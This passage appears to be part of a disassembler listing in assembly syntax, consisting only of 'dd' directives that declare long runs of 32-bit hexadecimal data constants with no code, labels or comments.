		dd 0D8BC3ABDh, 0F3DE6B00h, 81D08A5Dh, 0C9560F79h, 0C05ED91Fh
		dd 4CA0EF21h, 5D002E3Dh, 1050883Ah, 175667D2h, 1C646A37h
		dd 9E064078h, 8CDB1A09h, 31DAFB03h, 0D83E8A38h,	0A3472Fh
		dd 25BE2665h, 24165878h, 60778600h, 6FD12763h, 1FB001A1h
		dd 0F8ED33C7h, 1519E495h, 0AD136900h, 92DA86A8h, 349F3423h
		dd 1D2F8080h, 2E00314Eh, 28ED3E0Eh, 17EC5Ch, 0A5263FEAh
		dd 7C2120FBh, 348C1A00h, 6D7527D5h, 9C420083h, 516A8502h
		dd 0A8040CECh, 0B191134Fh, 21900FC0h, 0E8FD009Fh, 600A62D1h
		dd 2E7079E0h, 74ED2801h, 0C81987Bh, 6273DECh, 4C9FB6BDh
		dd 7900E035h, 245D5385h, 0E70CD4h, 949BDFF6h, 343B095Bh
		dd 0E923FC03h, 0B895F5C9h, 1F03106Ah, 22ED58Fh,	0C34F8130h
		dd 0DF733860h, 65DC6103h, 0C04254CAh, 364BE51h,	0C76AA0B7h
		dd 92A01539h, 8B054047h, 74E06C49h, 607A9C0Fh, 5B3529F7h
		dd 11B90783h, 79BB1DCFh, 8D868401h, 9DEADCA7h, 25A8B300h
		dd 4F21CFF8h, 0E3E8003Ch, 1BBE8ED8h, 9C00D915h,	68CC9FEBh
		dd 633A94h, 4FAC7234h, 0A2143F84h, 0DFB0500h, 90F6F3AAh
		dd 18C30383h, 0ECB3E61Fh, 53947C98h, 0CAD68C00h, 0B4046F05h
		dd 32E279h, 54622F4Bh, 0BB73CCBFh, 0B377AE00h, 0F8C9E85Bh
		dd 0B0E10E88h, 7F80D45Ch, 68F0A1F4h, 8055183Bh,	0D95A389Ah
		dd 7A80BCDh, 4BDC2B28h,	0CA58D0ADh, 0EC1FEF74h,	6400E57Ah
		dd 0A3CB9E4Ah, 21786193h, 0C435562Ch, 4F00A40Ch, 9AE98A3Bh
		dd 1E611D7h, 806CD0A5h,	0C546FF12h, 457DE075h, 0EA035DF6h
		dd 868A0772h, 3349A88Bh, 0CADCA97Eh, 49CB2CD8h,	0BC00D45Eh
		dd 7C4EA670h, 200175F6h, 0BB409A44h, 0CEC530Eh,	217900E2h
		dd 0AB28529Dh, 5D3D83DBh, 0B6800FDh, 3ADDC88Dh,	0F650037h
		dd 0E3C04E6h, 1EF892D4h, 0A3604860h, 0E8397157h, 0DEF04Ah
		dd 0A2B71FA5h, 0C1251EFFh, 74CB8D14h, 0B4C80210h, 632B746h
		dd 197408DDh, 0CEB89F7Eh, 0B34A50C0h, 7CA5F97h,	0D436DAEBh
		dd 699B407Bh, 0E300BD1Ah, 2EBE6F19h, 0FE9EA24h,	0F74721DBh
		dd 99B58B83h, 0FA7588B0h, 3CA42A00h, 53D3A346h,	30237DDAh
		dd 0E2893A50h, 3760B29Ch, 0B5490A71h, 0F06500D3h, 0E153B6A1h
		dd 300006DDh, 1FE740C0h, 0AB478CC1h, 3300F450h,	0C63436DBh
		dd 41A58300h, 0A17F1DFCh, 0BBFB00D7h, 7ACC45D9h, 48395703h
		dd 0FA331FF3h, 85A8AAC9h, 1BC09033h, 36E1F5h, 7B1A42B0h
		dd 2355E7F9h, 7254C100h, 0DE3ABC77h, 7A9478DFh,	1C050086h
		dd 0AB38D2B1h, 0C509E0C3h, 17C4DA1h, 9E234BF6h,	25FCFC49h
		dd 0CBE21B73h, 87D3F81Eh, 80FA0828h, 1D9E4700h,	0CB836273h
		dd 7D26007Ch, 58CDDD13h, 4C007A18h, 3C70D40Ch, 36755Ch
		dd 397C1BEh, 5A3458E0h,	0F4AACA0h, 7C1ED800h, 381D3DD4h
		dd 330B797Bh, 77285843h, 2FB407DCh, 484DAB62h, 127EA18h
		dd 0F3D43AFBh, 93CC5EDAh, 0C840E309h, 0F8FB1C8Ah, 306D0102h
		dd 39E17438h, 0C36D0FEh, 50F0D85Bh, 0A3E9C558h,	0DF480033h
		dd 859324C9h, 3C88A400h, 656947DDh, 5FB9C853h, 8F2FD580h
		dd 4E778Ah, 6EC92C07h, 47B439EEh, 0ED00FFFCh, 2F48F54Ch
		dd 544D6DBDh, 8C25B07Ah, 0F0732304h, 0FB628ECBh, 731BEC20h
		dd 1080C01Ah, 0E55FFC97h, 94584462h, 0BC444938h, 6E75DCh
		dd 8C6D252h, 0F221BF93h, 172F9400h, 37ADC5C0h, 0F4E80135h
		dd 0A3200A48h, 0EFCD7041h, 6CC088A0h, 8A893317h, 1480DD1Ch
		dd 5588BA69h, 98040247h, 2D163220h, 891A3660h, 396B2919h
		dd 44E3811h, 0DF625C0Ch, 8B00F310h, 0E3915A8Dh,	60444720h
		dd 0CFEC94E6h, 0DAFC8265h, 87DC0300h, 29F17798h, 24DE004Eh
		dd 0E27E6EC6h, 1D078F69h, 8BDB95C8h, 0B890D720h, 25700311h
		dd 80A112EBh, 0EA3DF2A8h, 4A6FD31Ch, 446D6840h,	17C32FE9h
		dd 7CD62Dh, 1234763Fh, 0BAFE63EBh, 9BA83600h, 0B6FB504Eh
		dd 492F0F58h, 0DEA0C468h, 42D41E38h, 87A2160Eh,	705F40C2h
		dd 2C279136h, 505CE99h,	0C701F474h, 9EA490DBh, 4000D73h
		dd 694DE7FEh, 907184AFh, 2BC7003Dh, 829D81FFh, 0F9165DF6h
		dd 370EE0BBh, 805A8BA4h, 744A8DC4h, 10420038h, 0DD16C8EFh
		dd 0BD074D6Ah, 0F65051EBh, 19B0DDDFh, 12EFB78h,	4E66F405h
		dd 50186BBAh, 549E51BCh, 45BBFE2Eh, 8AE85600h, 0C3F1C8h
		dd 0B1B2683h, 0B40889A5h, 33CCEC0Ch, 44304056h,	19004B14h
		dd 0E1B24AF1h, 0A19B6Ah, 0E7E2D1A5h, 2F071E8Ah,	7D286800h
		dd 4D5F10CBh, 3538005Ch, 0B05AAC49h, 783E2A32h,	57A294D2h
		dd 395500AFh, 0D184B4C3h, 0F1940E8Ah, 9AE0E144h, 2D1B12C8h
		dd 0CC00BA79h, 1336A1C1h, 5EB382h, 0A4B2E9C6h, 0A2EB2C99h
		dd 63D05C00h, 8E28E35h,	0C59B00E0h, 11721C26h, 9E0012DCh
		dd 7EE9B3E8h, 0BB5640h,	8751A431h, 162147CCh, 70AAD400h
		dd 7D8DCE35h, 0E5E4001Eh, 0FC0DB842h, 33FEE56h,	949F92D3h
		dd 71F82401h, 6424DD11h, 86A100FDh, 0FBAFF01Fh,	820062D4h
		dd 0C608DC72h, 0F8423Eh, 1DDF649Ah, 0B08565B3h,	6D879200h
		dd 0CEDA44B8h, 0EB90EBh, 0D0BCC172h, 0C8E4E657h, 2F454A03h
		dd 7DAD1F08h, 79D4269h,	8D813B5Fh, 0E45ADD40h, 7D987Bh
		dd 0E8A2A8E6h, 18B7610Bh, 0B5ED9000h, 6231AC15h, 808491C6h
		dd 404EC8FBh, 6B00510Bh, 0A5375A49h, 61C2B3h, 57527592h
		dd 0A8D8942Ah, 0A6DBFE00h, 6B3DF3BEh, 0BDC70EDDh, 55E07F56h
		dd 0E4ABC397h, 3C012E04h
		dd 2880A51Bh, 32DF6h, 7EFC8482h, 0A93FF360h, 7704BC00h
		dd 3B6AE65Dh, 3E680035h, 33FCBB96h, 0A803C5DEh,	450C0831h
		dd 0B9F00056h, 0A0D81326h, 4A72FF72h, 83EEF10Ah, 3CE4B0h
		dd 0AC0BC84Ch, 992548Bh, 3063CE16h, 0F53EC000h,	65E852C4h
		dd 88DB3F02h, 0D7C1977Eh, 714E6000h, 850FF035h,	0FDA61DEAh
		dd 0A17F301h, 0AEF869C7h, 5D1200D5h, 16617F50h,	5E014D7Ah
		dd 0F0F8BF9Bh, 1887571Bh, 402A7BE3h, 8C81E040h,	0F786CA0Fh
		dd 5193A742h, 2F9606Eh,	0EC803Eh, 0B2164310h, 0E29CD72Ah
		dd 0DB823D00h, 29BA89AEh, 57BF00F6h, 0EA12A786h, 9A006488h
		dd 733CF216h, 0D80BD61h, 1485E8EFh, 0C007EC10h,	4C7D2798h
		dd 1D4EEB00h, 2A943B90h, 0C2170008h, 13781624h,	7A00CA47h
		dd 0A41E2DDBh, 700C89h,	2A5188AEh, 166AB8BDh, 0B5F9E924h
		dd 40008C24h, 2B98CD4h,	714C0018h, 91FA1AAAh, 0F70BCEA5h
		dd 0FD929BCCh, 79E0900Eh, 0C9C860D2h, 0AF01E098h, 0B43495Ch
		dd 91F37790h, 3FD0FE2Fh, 1AA6001Eh, 3005B611h, 9A1F01DAh
		dd 4DC08567h, 443A2518h, 0A10D0275h, 54B7A492h,	0EE0BED80h
		dd 0B209BD32h, 2A3C71h,	2D765380h, 166674F7h, 63CDDAh
		dd 3D860B03h, 7F3F5A37h, 7D488019h, 765BEAE6h, 0B02C0FABh
		dd 8320CA12h, 42B73D82h, 44D7FB0h, 9A73137Ch, 0C5D3A100h
		dd 0F61D3527h, 3CE01B11h, 64C8D8D9h, 5A00246Ch,	0FDA25D7h
		dd 6E73E75h, 0D3F6047Fh, 7E01783Dh, 0AA7AD5CFh,	71CC3B63h
		dd 76D400EEh, 808A35EBh, 5190EA3Ah, 0E6FEA500h,	0FB3C0B91h
		dd 0DB660115h, 1D428ABCh, 20209740h, 7CD40100h,	77A83295h
		dd 6A3600A7h, 0A381AD5Eh, 0B4000BF6h, 60888FF8h, 7C84EF37h
		dd 55350014h, 65DE0292h, 34003FB7h, 0C9171ADh, 37906F9h
		dd 47042798h, 0F804576Fh, 0B9783C74h, 0BB36A487h, 658F0028h
		dd 591AA09Fh, 0AFFA2E06h, 724E6B00h, 78E7FCD6h,	4534003Dh
		dd 5491C481h, 1000A3D0h, 12F7C2B6h, 0B49FB9h, 167DEEDDh
		dd 0A1ADF70h, 0B8F6AF2Ch, 0B3D9404Eh, 0A55856h,	25E2A9BDh
		dd 0F3308CC6h, 116DEC00h, 0BE962180h, 9D6700A8h, 0DEC14BB2h
		dd 2000E1E2h, 0DBDD9C27h, 0F249792h, 0EC7CDAABh, 0BE448284h
		dd 0D63FCCC0h, 268908Bh, 51E36289h, 84408571h, 7B00B9B5h
		dd 615ABF5h, 0BBFDB3h, 0A4628DA3h, 0C579E61Ch, 54BE4500h
		dd 0FD376E6Fh, 0B06D0732h, 90D74C8Dh, 0E7C8A3D9h, 694FBDE6h
		dd 8700CEB8h, 0F0B091B1h, 752E6DD5h, 37806CD8h,	1A9D7EA7h
		dd 0AF04012Bh, 8B63CFC2h, 5597C08Fh, 0C9356400h, 0BDE5D55Fh
		dd 942900FDh, 0C3EE3B1Ch, 5E00D74Fh, 88262F69h,	6FD779Bh
		dd 5B4D8180h, 590161DEh, 0D5AD3161h, 7EF077A4h,	0FC2E0234h
		dd 41A5E08Ch, 943C5C40h, 31E850F8h, 30C04B16h, 69C42045h
		dd 0E2AD240Fh, 0C252338Eh, 54E0069Ah, 5A4A05B2h, 0C0DA99CDh
		dd 39DFB7EDh, 9EB4FA50h, 8900FB75h, 3C964560h, 1B19BD1h
		dd 0C33D6E5Fh, 0CCC4508Bh, 0A0704FB8h, 316D5800h, 0C7A54D43h
		dd 57E2E5Ch, 0FD168020h, 6F81B13Bh, 3701CF73h, 79846BA1h
		dd 0A88C5CF1h, 0FEE0152Dh, 7A03430Ah, 4B060CEFh, 634904E3h
		dd 61B6387Fh, 37D6ECF8h, 0D20B0F03h, 80BA5DE4h,	7D02DB2h
		dd 8F2AFF99h, 9A05F24h,	26462FE7h, 77DDA200h, 0CFE6D073h
		dd 7E020FDFh, 6818FE5Ch, 68F096D7h, 64BB44B2h, 0C15561C1h
		dd 68E51080h, 232EA8C0h, 9E77952Eh, 4264B203h, 0E862C8A6h
		dd 37D00699h, 29C5D9E5h, 80119142h, 33F42147h, 2821A9FEh
		dd 0BB2A04CDh, 421008A7h, 0C9244855h, 8090DC40h, 6300C52Ch
		dd 0E3789101h, 3F51CD3h, 7C456537h, 22F9E174h, 5DC6300Ah
		dd 0E94AFC00h, 93E28444h, 580D00C3h, 1A1C6828h,	70F759CEh
		dd 6400D3D6h, 0A943F163h, 56CC73h, 84AFD83Ch, 37D255Dh
		dd 4FDE8600h, 90C89FD5h, 0A26B00D3h, 3A100AD2h,	1500E6C4h
		dd 8A44FCCAh, 2C30FFBh,	64E5CC9Dh, 0C44028A0h, 0C15C03A4h
		dd 58AA1F3Eh, 5BB8B240h, 3EBECBC9h, 0FE80278Fh,	254F5126h
		dd 0FA506E8Dh, 0EE0B17C4h, 408177h, 0A479B00Fh,	396A0050h
		dd 0E0565C68h, 6906D0Fh, 57ADBB01h, 1C28290Ah, 0FED2006Bh
		dd 79E53340h, 0FF16B300h, 77EA49F0h, 0F7DB05E1h, 5EF3911Bh
		dd 5E830F8h, 4800B121h,	0BE92806Bh, 1EDFFC7h, 0F54F3474h
		dd 0C8339D87h, 8BE2784Bh, 69A1DB1Dh, 47D5DFC0h,	0CF26D2h
		dd 0D911911h, 0FC8CD9DDh, 0B8BC5507h, 0ACF06FF4h, 7CEE013h
		dd 0EB3ED712h, 0B20BD063h, 9300FEABh, 0D14111B9h, 86FC9Ch
		dd 5C833D14h, 40BF434Bh, 0E2716600h, 0C1C75198h, 0B0633985h
		dd 0F94716h, 0B75D0624h, 7B00BBCCh, 476DB02h, 0F67D1Eh
		dd 0A6D37379h, 75906A5Ch, 43E3AD07h, 80BB21BAh,	1A6DCA4Fh
		dd 744718FCh, 0C2FBE879h, 83F0AC00h, 743192Dh, 0EED50113h
		dd 0A5A864C7h, 9524C0EDh, 9CD9F500h, 0C64F7D63h, 0DA0D0031h
		dd 6AC20414h, 0E00E39Ah, 5B681DF0h, 3C49F21Ch, 0CA8178E2h
		dd 879BA8D8h, 0A0EDD48Bh, 260095F0h, 3EB26CF6h,	1C3DBAh
		dd 33FFE366h, 2D7FF775h, 0E9CFE00h, 0C12C13B2h,	0A29000F4h
		dd 29581B01h, 4B3ADBC3h, 0CE2E00DAh, 8C02CF80h,	489C00D2h
		dd 0C0330FEh, 0F64862E9h, 29E71200h, 5055F047h,	0F5697780h
		dd 0CB2E1C54h, 8E18DE08h, 0AB82AF98h, 0F880A00Eh, 0A28F38A7h
		dd 0EC3D8AB8h, 98740027h, 7677C475h, 5B0B06F3h,	0D9A90E70h
		dd 1D3ECF1Dh, 0C1EE027Ah, 434CE7E3h, 7715D05Ch,	0B2123FC6h
		dd 3D30F78Eh, 55702340h, 0F300B632h, 0EF817660h, 33BC51h
		dd 7E49DF1Eh, 0B8BBFA0Fh, 0F59DFC00h, 0FF6ACE6Fh, 9083F0DEh
		dd 0BBD03E7h, 968765Fh,	9B475DA0h, 60E45202h, 50970F11h
		dd 0A9F100BCh, 2CB85CA8h, 0FF027B21h, 87CC98AEh, 9C91C099h
		dd 1B4103E6h, 19A4615Bh, 31904DC8h, 48E5FA07h, 0B2D28B8Fh
		dd 800EE0F5h, 86D62420h, 7C0E0227h, 0F49665C5h,	0FF005374h
		dd 0F96ACF59h, 0CEF570h, 2D37A18Dh, 2B026974h, 5C776B00h
		dd 535FF204h, 0FBEF0091h, 581ABD41h, 0E70FC066h, 402C9D75h
		dd 9C2BEC1h, 0F88707EEh, 20511F7Fh, 6EF6054Ah, 0D5233Ah
		dd 0BECE10A1h, 7C14487h, 140FB713h, 8009902Fh, 21C022B4h
		dd 1B69F8AEh, 8CD4C16h,	0DBB1D503h, 5C00C752h, 0E8293BC6h
		dd 191FE281h, 50423F03h, 5DCFC0A1h, 0A82BE8C0h,	0DD3AB3h
		dd 58109C8Ah, 0A4A6708Bh, 0C26E0C00h, 0F45B3906h, 42D0096h
		dd 0AE796CB2h, 267DE475h, 1336303Eh, 4E00232Ch,	0B96D6A34h
		dd 0C31E0F65h, 3DA3565Eh, 0C0F53260h, 226FF7DAh, 9EF3D400h
		dd 1BAB4075h, 1D3473BCh, 800E8150h, 6357E6B2h, 0F21EE8C3h
		dd 0A980FE6Ch, 7FAE4102h, 51DA0079h, 34DD46C9h,	950C832Ah
		dd 0B871B82Fh, 0AEB9001Ah, 0DE5ACF04h, 0E70090B6h, 0C291C39Bh
		dd 1818FB83h, 8428BE7Fh, 3A0E94C7h, 1A41F3Bh, 392D79DFh
		dd 7E2F8C8h, 966D2A07h,	98D620ABh, 1403195Bh, 0BD0CCB42h
		dd 0A034FB36h, 48EE81C5h, 0F40088AFh, 0D9E2355Eh, 0F300F131h
		dd 6B73DF9Bh, 7F3D426Ch, 3823F28Ch, 0A148BB69h,	0F238B07Eh
		dd 9DC90065h, 99665BB4h, 27005F03h, 554DC7F0h, 1D12D663h
		dd 812B0F30h, 0EC6222A0h, 0DDB5216Ah, 45C9F02Eh, 9FBED900h
		dd 3B82D6A4h, 788300B3h, 598837ECh, 9A2E9354h, 84806C18h
		dd 3E643BD8h, 0DC99002Ch, 94113AA7h, 9C00B02Eh,	0F90BA480h
		dd 4F10FDh, 44367516h
		dd 0CB8CE4A3h, 3E70BDh,	500F7056h, 11473263h, 0B89D272Ch
		dd 0F19AAC00h, 922135h,	9493F967h, 5B7254CDh, 3F3CA34Ch
		dd 0E6FB80E3h, 0E1A1A771h, 94D53E76h, 0E95E2C80h, 0C7014534h
		dd 96E3F418h, 176E6430h, 4B533143h, 3C000364h, 1D3C3FC2h
		dd 0CC6503Ah, 616074CDh, 0E45098E4h, 0B36E5C01h, 6CDD2F0Eh
		dd 0B0D4CC80h, 18007A3Bh, 0F034369Eh, 13B8D2D8h, 40523E26h
		dd 0ADA987A0h, 0D1008199h, 4D2EBA4Ch, 1AA5F47h,	603CEF38h
		dd 0D97271F4h, 2002E098h, 0DFA3E07h, 671039C1h,	3A74311Eh
		dd 1B03AAE3h, 0C65262FFh, 0D4CDE9E0h, 82517212h, 0F67AF400h
		dd 1C0F8Ch, 1813EF0Eh, 7EE19876h, 0F11D2B00h, 96B50DD0h
		dd 85B2004Ch, 0D17F2D77h, 970E43ADh, 8070199Ah,	1301AE58h
		dd 5EEB009Bh, 728EABB3h, 341D15A7h, 0E400A50Dh,	0C5067F01h
		dd 0FE2F48E3h, 0A3420A00h, 5321EC8Ah, 96462D18h, 686048h
		dd 0AB674C14h, 2FEE330Dh, 76BC7300h, 7A30714Fh,	132C0021h
		dd 5180403Bh, 0FB00C2E1h, 344AE8D0h, 1E3D6B3Fh,	407FCC9Eh
		dd 98B2096Ch, 190087A9h, 0F795B432h, 1048F1Fh, 6A9BD110h
		dd 0EE83D0CAh, 0DAD63FE0h, 1658D8C3h, 0A2900F8h, 929A2BE5h
		dd 57039CFFh, 0B08B0FA8h, 6500DF6Fh, 777FA80h, 878C1341h
		dd 0B3D4006h, 0C400D446h, 0C8408EE4h, 343AE57h,	989C90ECh
		dd 48009695h, 16D83D7Dh, 0D0EA33h, 4315AF55h, 3AE2D535h
		dd 0FC37700h, 8C0551C6h, 1AA7A79h, 54A0BC80h, 0E0DD7B33h
		dd 0A8004A24h, 450BB62Bh, 13260Ch, 41568CBEh, 0FDAD12D0h
		dd 0A37C8AFCh, 0FFDC3800h, 2602DA44h, 80F3B0EAh, 1EA703B8h
		dd 0CE436Ch, 0A669515Fh, 0BB004FF2h, 93F659DAh,	9D5401h
		dd 357CC8EBh, 7A4D3F8Ah, 0DF302201h, 0D4F20784h, 95F5C0h
		dd 6EC40A43h, 0C1153F29h, 58E32400h, 5D13FC37h,	0A2F81Dh
		dd 0EEFFAE92h, 245EF840h, 23003F74h, 831BE19Ah,	30C49CB7h
		dd 6F942CFBh, 0CD00C7B4h, 8119F9A7h, 1D2DE208h,	0C0059959h
		dd 0D43B0A5Ah, 0E005CB1h, 4F2EB287h, 129CE4BAh,	145F1F4h
		dd 0FEF2B8A0h, 0EC6EE127h, 0A200750Fh, 688AAA6h, 1D6A3019h
		dd 8369C8A4h, 0FBC08BF1h, 7E0088DEh, 8D3F594Eh,	333B67Fh
		dd 2E1860EFh, 0FCA0D4E8h, 5C0004D6h, 554AEA43h,	0E12C64B7h
		dd 914BDCh, 0E2664167h,	0AC137D04h, 60887400h, 3EDF2478h
		dd 0C97217h, 2625E739h,	0BA7048FEh, 0B457A800h,	66597549h
		dd 0F213008Fh, 47D4B869h, 0D80048C7h, 0ACE10504h, 3AF73CD7h
		dd 1E06F97Ah, 1145C578h, 0F1348801h, 15D8CBECh,	5A7670h
		dd 0BD2692DCh, 5C119158h, 4D00487Bh, 0CBD7B661h, 0B9E6768h
		dd 0C1F30508h, 0C7069800h, 0DA004280h, 4AA55183h, 78D938h
		dd 17CBF1A1h, 0FE4F960Dh, 92D50A00h, 0EAA970ADh, 0F44B0140h
		dd 0FA4CB4C8h, 63E9D85Ah, 0DC95C200h, 46EBEEA8h, 3DE800E0h
		dd 38BA9611h, 0BDE2FBB6h, 751FEF00h, 5C06DAF8h,	54D17E3h
		dd 0F1F100FCh, 0DE186DBAh, 0C157F700h, 0EF076E20h, 49D901B4h
		dd 6F2AA733h, 63D82005h, 0E03D4600h, 8E0C9661h,	903809A1h
		dd 0F38019A5h, 77D6FEA3h, 5B00AE72h, 85A93C7Ch,	7361AF8h
		dd 0C94E42CDh, 49FC62EBh, 0C0884841h, 0FE00F314h, 0EF713BB6h
		dd 0B04508C0h, 2409083h, 49D6231Eh, 1868F2BAh, 9F0F6932h
		dd 40BC4505h, 49DE46Bh,	0F89B0FC7h, 8460F5CEh, 8125DCAh
		dd 764FC900h, 74E13C3Ah, 0A4A726AFh, 3B040F08h,	0BC792DE0h
		dd 221DFB6Fh, 3680AEE4h, 66A3416Ch, 7F8F002Ch, 5AB957D0h
		dd 733B9E46h, 77658002h, 0B32AA949h, 6D9F0001h,	892FADA7h
		dd 0AA06CCA5h, 4AD52D8Ch, 0F7CE2609h, 95A30198h, 0C465BDC8h
		dd 1526DCFCh, 7B01545Dh, 2A3DE3F2h, 0BCEBDCh, 4E55B89Dh
		dd 0D8E6D21Ah, 4C5BA100h, 6689655Dh, 0D6050039h, 0CFACB0D9h
		dd 1F040342h, 9B3DD888h, 618D9FC0h, 0CA023B75h,	67D0F580h
		dd 738820BFh, 418FF100h, 51CFF88Eh, 75AB00D3h, 5A064F52h
		dd 8C096055h, 80CD126Ch, 9D743683h, 0AB57075Bh,	40812928h
		dd 2C51EB7Bh, 5603B3F0h, 16E5C266h, 8834B305h, 4AD64Fh
		dd 0F0EA0645h, 1EDE699Bh, 2F505701h, 14E29A2Ah,	3B5C6EDCh
		dd 0EDA49523h, 8DD60000h, 9C91B598h, 0E56C0100h, 0F2557A19h
		dd 0C52600A0h, 0C795C6F7h, 1648109Eh, 8D6700FCh, 1A21CF84h
		dd 50D40179h, 19E3E04Eh, 0ADC2D0D6h, 76FE8702h,	80476D2Dh
		dd 0C1D097B0h, 41B801B4h, 0EB1944E7h, 0F8F84071h, 291653D1h
		dd 9400DCFFh, 0C0A7DF41h, 837900ABh, 98D33F0Dh,	0A907EA71h
		dd 0D74E528Ah, 8740A7A7h, 7027EBCh, 0FEB86A80h,	0FBEF8036h
		dd 4400C448h, 7F1F47F0h, 3431C39h, 0FC5D6838h, 900158A4h
		dd 95784D70h, 0A840D710h, 52BDB0h, 0FC8E8BB6h, 6977F60Fh
		dd 88B7A307h, 0B0D1D72Bh, 0BDFC6473h, 0FD86018Dh, 630E1D11h
		dd 0DF64209Dh, 9CFE1E00h, 9E7FCF17h, 71191FD9h,	84C00F16h
		dd 73B05D2h, 870C8061h,	0BD7C1310h, 68965000h, 58F690Bh
		dd 45A002Dh, 409B8CFCh,	1B000CEBh, 73998B06h, 7D418Eh
		dd 0FFC10351h, 0EE3D8654h, 0BBE0ACFCh, 32ADB0A0h, 1FEDF600h
		dd 986F7487h, 7DEEA6Eh,	1311538Fh, 7094E74Ch, 257E0F0Ch
		dd 54B72830h, 71899FA1h, 1505008Bh, 0D18A4682h,	3A01941Dh
		dd 3FFE54B7h, 97D86211h, 0B8F4002Dh, 37887310h,	7B00409Ch
		dd 0A2E4076Dh, 3EA8586Ah, 993C3E03h, 84B59Eh, 0B4D17E0Ah
		dd 4900EB5Ch, 3CC940FEh, 0F8E780D5h, 0D8C73CB7h, 14811F80h
		dd 7EF2DD24h, 2C2E3901h, 284EB9FCh, 0A05371CCh,	84C26F0h
		dd 0A9B11F41h, 0C46E3D1Fh, 3A78C9BEh, 0DA1A026Dh, 83A3BF52h
		dd 0E94ACFCCh, 3120F730h, 0AD8C00FEh, 0A193E94Fh, 7000BF19h
		dd 9A4A0638h, 0C64560h,	9F80CE10h, 7DCAA0D4h, 33726E90h
		dd 3C13AE2Eh, 0CBE72100h, 4F915165h, 62F1F0BDh,	5F009BF2h
		dd 0DA0D4512h, 0DB1285Dh, 9CA3E7D7h, 0D8B5D518h, 90B0335Bh
		dd 0E626D21Dh, 29559640h, 990370h, 66459DD1h, 0AF1D3A47h
		dd 6505ED00h, 12EA5204h, 19B00E8h, 0A5751C37h, 0BB01F234h
		dd 662BB80Eh, 3CD10F9Ch, 0ADCC20h, 0FBAF4D76h, 0A845D0ECh
		dd 0BF170B00h, 2B34C8F1h, 9EF8A006h, 4DE50084h,	0B1478CDCh
		dd 0A4A24458h, 0C8462B41h, 0C7006A95h, 75F2209Dh, 68518h
		dd 800C01EBh, 194AC167h, 0AD41400Fh, 152580FAh,	586F73C3h
		dd 2D0E439Ch, 0CAC19A10h, 8017F141h, 3EF5A398h,	0F0DFE5h
		dd 84E8C007h, 6E613A7Ah, 650046E8h, 9BC6F9ABh, 9801CCBFh
		dd 33A803A5h, 9D7504AFh, 891895A0h, 8F918A04h, 0B8C06593h
		dd 0E75B47h, 0C387022Ch, 31BDAF6Dh, 0F52DFC00h,	43D3426h
		dd 5BEF0AA0h, 0C00C30h,	0D1FE5262h, 0E8078F11h,	2304D09Fh
		dd 92587C20h, 0D78A00BBh, 0D6A62FF0h, 0C503C7D3h, 225987B2h
		dd 601AE21Dh, 0CE71E8h,	279E1031h, 0B4AD6CEDh, 0C21B9600h
		dd 0DF86A077h, 7A60054h, 2622D90Bh, 880327E2h, 0B2986C69h
		dd 0F05FFB8Ah, 34B04E3h, 0CDC9D2BFh, 0A9A82C87h, 0C300CB5Ah
		dd 0A37DA597h, 0A033001h, 3E85089Ch, 62EC008Eh,	433469B5h
		dd 8EA76600h, 96387AD7h, 1D5703ADh, 8D905DEAh, 88B28180h
		dd 92026AB0h, 0A1294A4Dh, 0FADCC8BCh, 0B75D0087h, 27E61F9Dh
		dd 4B3B7359h, 0A2CB8714h, 6110293Ch, 0FA806F92h, 54A5020Ch
		dd 0B5F36D35h, 4879060h, 4E76C502h, 0E06697DAh,	0F573133h
		dd 0FBC38CAEh, 0D7F58AA0h
		dd 0D0920F86h, 5CDD8E00h, 33343FC9h, 2AB80636h,	200EC4AFh
		dd 40373Eh, 5CA863Ah, 5547A7h, 8C79336Ah, 0D03D6B1Bh, 0B3B08A0Dh
		dd 40803110h, 780D0788h, 5E3C11ACh, 0CE2F8986h,	7EF0A78Ah
		dd 6C944954h, 332B3080h, 4738C024h, 5C92A436h, 0CF2A4CB2h
		dd 0C9308CB9h, 0A56280Fh, 4164001Bh, 0F5FABD8Dh, 31004F5Ch
		dd 5D94B42Ah, 0F742FBh,	0CFB2DCAEh, 20C380F8h, 8062D338h
		dd 0FC88755Ah, 0E098261Dh, 22850CD1h, 0F6D80684h, 453E9614h
		dd 6CE3808Ch, 38CDF1Dh,	84B0FC5Bh, 1AA3FBCBh, 46492100h
		dd 2AD27C1Dh, 84E70014h, 16872BC4h, 0B6F21F12h,	0FCD89407h
		dd 0AAB08692h, 6951A3Eh, 306E43C4h, 0E26D9BDh, 361D635Dh
		dd 2ECB2B87h, 25453477h, 526F9047h, 8E74A090h, 0AFF800ADh
		dd 3A8DEBBAh, 680DF7FDh, 906F8048h, 0F88E87F0h,	62943ED1h
		dd 3FC4168h, 0B5A53F7Ah, 148B59E0h, 0BC209067h,	124526B0h
		dd 32EEE28Ch, 47A11910h, 39505C30h, 34A13640h, 6E21B798h
		dd 83F8FB55h, 0CFDF273Ch, 51D4C402h, 77C57960h,	0ED397002h
		dd 497912DCh, 0F2C89700h, 0C0FA6714h, 4180BFE5h, 3ABD6A1h
		dd 18780A0Eh, 0E0A30044h, 0B32E84h, 0FE0147A6h,	0CA6159CBh
		dd 0FC912801h, 0FD3D9C69h, 14C3045Eh, 10000B29h, 735267F4h
		dd 12C0A7Ah, 8AE86188h,	9F17DF42h, 2A0F14ACh, 0F53BA758h
		dd 0DDC1D9C7h, 0C8F07931h, 0FA3614ACh, 30064CC4h, 5110EFEDh
		dd 624FA411h, 0A1D56D06h, 1FC29E0h, 0CC9F0700h,	0CFA2C96Fh
		dd 2EE60F7Dh, 0B6EE7FD8h, 898C6280h, 8B3212FBh,	0AF7561ABh
		dd 86D15860h, 0BCBD30DCh, 83169F19h, 60627200h,	63332EECh
		dd 70A45Bh, 428B38A9h, 7B8FDA81h, 0D525AE03h, 100F1E85h
		dd 0F3AA2E8h, 9C91CADFh, 4A497C0h, 20B8D55Eh, 0D6056A41h
		dd 0FD222629h, 0E0864C33h, 6DE813Ah, 88380F6Fh,	480CA96Bh
		dd 4106BE51h, 81D30C30h, 0F4A98FA2h, 83AFF018h,	63082738h
		dd 849D50FAh, 4424D989h, 0E8043E30h, 0FE4E3027h, 64F24510h
		dd 5D14D4A0h, 0A3C6A07h, 0D95752h, 63302760h, 4D250C44h
		dd 69290F60h, 449C6B44h, 28443491h, 0D5094404h,	9B6528A0h
		dd 25CAE889h, 211408A7h, 2F964242h, 6CDD03B1h, 0F03C5EA6h
		dd 92434Bh, 0F326DE1Ah,	534CFDB8h, 0A32C5701h, 0A6886F9h
		dd 15B9DCh, 0AF162A27h,	56791830h, 0CC00ECEEh, 4388DFB3h
		dd 127EB28Eh, 0F7164Ah,	455992CAh, 0D0BF1CEAh, 5B600060h
